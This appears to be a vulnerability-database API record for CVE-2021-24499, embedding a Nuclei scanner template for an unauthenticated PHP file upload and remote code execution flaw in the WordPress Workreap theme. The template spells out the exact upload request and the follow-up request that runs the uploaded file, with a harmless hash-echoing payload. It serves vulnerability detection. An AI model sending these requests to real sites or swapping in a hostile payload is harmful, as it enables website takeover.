{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-24499/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-24499/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-24499/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-24499/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-24499/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-24499"},"sightings":{"href":"/api/v1/sightings/cve-2021-24499"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-24499.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-24499\n\ninfo:\n  name: WordPress Workreap - Remote Code Execution\n  author: daffainfo\n  severity: critical\n  description: WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.\n  remediation: |\n    Update to the latest version of the Workreap plugin to fix the vulnerability.\n  reference:\n    - https://github.com/RyouYoo/CVE-2021-24499\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-24499\n    - https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb\n    - https://jetpack.com/2021/07/07/multiple-vulnerabilities-in-workreap-theme/\n    - http://packetstormsecurity.com/files/172876/WordPress-Workreap-2.2.2-Shell-Upload.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-24499\n    cwe-id: CWE-434\n    epss-score: 0.60113\n    epss-percentile: 0.99094\n    cpe: cpe:2.3:a:amentotech:workreap:*:*:*:*:*:wordpress:*:*\n  metadata:\n    max-request: 2\n    vendor: amentotech\n    product: workreap\n    framework: wordpress\n  tags: cve,cve2021,wpscan,packetstorm,rce,workreap,wordpress,wp-plugin,intrusive,wp,amentotech,vkev,vuln\n\nvariables:\n  string: \"CVE-2021-24499\"\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9\n        X-Requested-With: XMLHttpRequest\n\n        -----------------------------cd0dc6bdc00b1cf9\n        Content-Disposition: form-data; name=\"action\"\n\n        workreap_award_temp_file_uploader\n        -----------------------------cd0dc6bdc00b1cf9\n        Content-Disposition: form-data; name=\"award_img\"; filename=\"{{randstr}}.php\"\n        Content-Type: application/x-httpd-php\n\n        <?php echo md5(\"{{string}}\");unlink(__FILE__);?>\n        -----------------------------cd0dc6bdc00b1cf9--\n      - |\n        GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{md5(string)}}'\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100e9963b3c5009943bfb96c8fe1552c79a6d703350e93aa5d3aa430ddb15de3943022100db43373fdef8260a504449e0884407ee5cb396285e3b4b9d2907faedd1e66a22:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-24499"}